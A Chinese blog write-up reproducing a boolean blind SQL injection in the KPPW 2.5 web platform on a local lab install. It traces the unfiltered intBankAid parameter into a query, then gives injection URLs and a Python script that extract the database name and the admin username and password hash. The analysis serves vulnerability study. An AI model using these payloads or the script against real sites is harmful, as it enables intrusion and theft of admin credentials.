KPPW2.5 漏洞利用--SQL注入

SQL注入--布尔型盲注

环境搭建

1,集成环境简单方便,如wamp,phpstudy....

2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面

3,安装,访问(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/install/index.php),选择下一步,下一步,填写数据库信息,后台管理员账号密码等等。

上述,漏洞复现平台搭建成功。

首页(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php)。

漏洞分析

/control/user/account_auth.php文件

$arrAllowAuth = array('realname','enterprise','bank','mobile','email');
if ($code&&in_array($code,$arrAllowAuth)) {
$code or $code = $keys ['0'];
$code or kekezu::show_msg ( $_lang ['param_error'], "index.php?do=auth", 3, '', 'warning' );
$auth_class = "keke_auth_" . $code . "_class";
$objAuth = new $auth_class ( $code );
$auth_item = $arrAllAuthItems [$code];
$auth_dir = $auth_item ['auth_dir'];
$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );
require S_ROOT . "/auth/$code/control/index.php";
require keke_tpl_class::template ( 'auth/' . $code . '/tpl/' . $_K ['template'] . '/'.$step );
die;
} else {
$real_pass = keke_auth_fac_class::auth_check ( 'enterprise', $gUid ) or $real_pass = keke_auth_fac_class::auth_check ( "realname", $gUid );
$arrHasAuthItem = keke_auth_fac_class::get_auth ( $gUserInfo );
$arrUserAuthInfo = $arrHasAuthItem ['info'];
}

仔细看看这里的:

$arrAuthInfo = $objAuth->get_user_auth_info ( $gUid, 0, $intBankAid );

这里的变量$intBankAid进入了函数get_user_auth_info函数 跟进函数get_user_auth_info

/lib/sys/keke_auth_base_class.php:

public function get_user_auth_info($uid,$is_username=0,$show_id=''){
$sql="select * from ".TABLEPRE.$this->_auth_table_name;
if($uid){
$is_username=='0' and $sql.=" where uid = '$uid' " or $sql.=" where username = '$uid' ";
$show_id and $sql.=" and ".$this->_primary_key."=".$show_id;
$sql .=" order by $this->_primary_key desc";
$data = db_factory::query($sql);
if(sizeof($data)==1){
return $data[0];
}else{
return $data;
}
}else{
return array();
}

接收到的变量$intBankAid——$show_id,然后$show_id进入$sql 整个过程中变量$intBankAid未过滤,

最后进入$sql进入数据库,导致sql注入漏洞。

漏洞利用

准备:注册个账号登陆上去,绑定银行卡,进入银行认证的环节,也就是存在SQL注入的页面(http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147)。

首先用 and 1=1 和 and 1=2 判断

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=1

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and 1=2

接下来就进行布尔盲注。

判断数据库长度:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select (length(database())))=6--+-

查看数据库名字:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and (select ascii(substr(database(),1,1)))=107--+-

查看后台管理员账号:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),1,1))=97--+

查看后台管理员密码:

http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147 and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),1,1))=102--+

上面写了个简单的python小脚本

#coding=utf-8
#by orange
import requests
import string
database_length=0
database_name=''
username=''
houtai_name=''
houtai_pass=''
url="http://127.0.0.1/test/KPPW2.5UTF8/KPPW2.5UTF8/index.php?do=user&view=account&op=auth&code=bank&step=step2&intBankAid=147"
headers={
'Cookie':'PHPSESSID=qugpfg8d0bclq4k2mhm57f9426'
}
'''
数据库长度
print("数据库长度")
for i in range(1,10):
payload=" and (select (length(database())))=%d--+-" % i
length=requests.get(url+payload,headers=headers)
print("正在测试......")
print i
if "622***018" in length.text:
print("数据库长度:")
print i
database_length=i
break
'''
'''
print("数据库名字")
for i in range(1,7):
for j in range(1,123):
payload = " and (select ascii(substr(database(),%d,1))) = %d--+-"%(i,j)
database_name1 = requests.get(url+payload,headers=headers)
if "622***018" in database_name1.text:
database_name+=chr(j)
print i
print database_name
break
'''
'''
print("后台账号:")
for i in range(1,6):
for j in range(97,123):
payload = " and ascii(substr((select username from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_name1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_name1.text:
houtai_name+=chr(j)
print i
print houtai_name
break
'''
'''
print("后台密码:")
for i in range(1,33):
for j in range(33,123):
payload = " and ascii(substr((select password from keke_witkey_member order by uid limit 0,1),%d,1))=%d--+"%(i,j)
houtai_pass1 = requests.get(url+payload,headers=headers)
if "622***018" in houtai_pass1.text:
houtai_pass+=chr(j)
print i
print houtai_pass
break
'''

注入部分截图:

源码链接(链接: https://pan.baidu.com/s/1ggwXqBD 密码: 3ndt)

本文链接(http://www.cnblogs.com/Oran9e/p/8261750.html),转载请注明。

任重而道远!

KPPW2.5 漏洞利用--SQL注入的更多相关文章

  1. 利用SQL注入漏洞登录后台的实现方法

    利用SQL注入漏洞登录后台的实现方法 作者: 字体:[增加 减小] 类型:转载 时间:2012-01-12我要评论 工作需要,得好好补习下关于WEB安全方面的相关知识,故撰此文,权当总结,别无它意.读 ...

  2. Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说。。。

    Nikto是一款Web安全扫描工具,可以扫描指定主机的web类型,主机名,特定目录,cookie,特定CGI漏洞,XSS漏洞,SQL注入漏洞等,非常强大滴说... root@xi4ojin:~# cd ...

  3. KPPW2.2 漏洞利用--文件下载

    KPPW2.2 漏洞利用--文件下载 任意文件下载漏洞 环境搭建 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.2源码一份(文末有分享)放到WWW目录下面 3,安装, ...

  4. KPPW2.7 漏洞利用--文件上传

    KPPW2.7 漏洞利用----文件上传 文件上传导致任意代码执行 搭建环境 1,集成环境简单方便,如wamp,phpstudy.... 2,KPPW v2.7源码一份(文末有分享)放到WWW目录下面 ...

  5. 如何利用sql注入进行爆库

    SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...

  6. 利用SQL注入漏洞登录后台

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询 ...

  7. discuzX3.2 X3.4网站漏洞修复 SQL注入与请求伪造攻击利用与修复

    2018年12月9日,国内某安全组织,对discuz X3.2 X3.4版本的漏洞进行了公开,这次漏洞影响范围较大,具体漏洞是discuz 的用户前段SQL注入与请求伪造漏洞,也俗称SSRF漏洞,漏洞 ...

  8. 利用SQL注入漏洞登录后台的实现方法 。。。。转载

    一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...

  9. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

随机推荐

  1. haproxy prometheus 监控docker-compose 运行试用

    haproxy prometheus 的监控metrics 使用的是exporter ,因为haproxy 对于状态统计报告处理的 比较好,我们可以了stats 同时支持一个csv的api 接口,所以 ...

  2. java中的ArrayList 、List、LinkedList、Collection

    原文地址: http://www.cnblogs.com/liqiu/p/3302607.html 一.基础介绍(Set.List.Map) Set(集):集合中的元素不按特定方式排序,并且没有重复对 ...

  3. Add task bar to ubuntu

    http://www.howtogeek.com/189819/how-to-add-a-taskbar-to-the-desktop-in-ubuntu-14.04/ sudo apt-get in ...

  4. HBase源码分析之WAL

    WAL(Write-Ahead Logging)是数据库系统中保障原子性和持久性的技术,通过使用WAL可以将数据的随机写入变为顺序写入,可以提高数据写入的性能.在hbase中写入数据时,会将数据写入内 ...

  5. 弱网测试—Network-Emulator-Toolkit工具

    参考别人网址:http://blog.csdn.net/no1mwb/article/details/53638681 弱网测试,属于健壮性测试:怎么样去做弱网测试呢? 一.安装弱网测试工具-Netw ...

  6. Jmeter -- HTTP Request Defaults HTTP请求默认值

    一.HTTP Request Defaults的作用: 该组件可以为我们的http请求设置默认的值.假如,我们创建一个测试计划有很多个请求且都是发送到相同的server,这时我们只需添加一个Http ...

  7. openLayer3地图的使用心得

    准备运行环境: 1)Portable Basemap Server(PBS)用于创建地图服务 官网网址:http://geopbs.codeplex.com/ 如何创建底图服务?操作步骤如下: 如果启 ...

  8. CentOS6.5 安装+ Tengine + PHP + MySQL

    简介: Tengine是由淘宝网发起的Web服务器项目.它在Nginx的基础上,针对大访问量网站的需求,添加了很多高级功能和特性.Tengine的性能和稳定性已经在大型的网站如淘宝网,天猫商城等得到了 ...

  9. Cordova+Angularjs+Ionic 混合开发入门讲解

    作为一名学习Android开发的学生,对于移动开发的发展趋势颇为关注,大家都知道,现在原生的移动开发在企业上基本很少使用了,大部分企业为了降低成本,选择了webapp,hybrid(混合开发)这两种模 ...

  10. GTP+SDI工程播出部分思路整理(2)

    GTP+SDI工程播出部分思路整理(2) 以同样的方法来分析tx_video_a_c_in信号: SDI核中tx_video_a_c_in信号连接情况如下所示 .tx_video_a_c_in     ...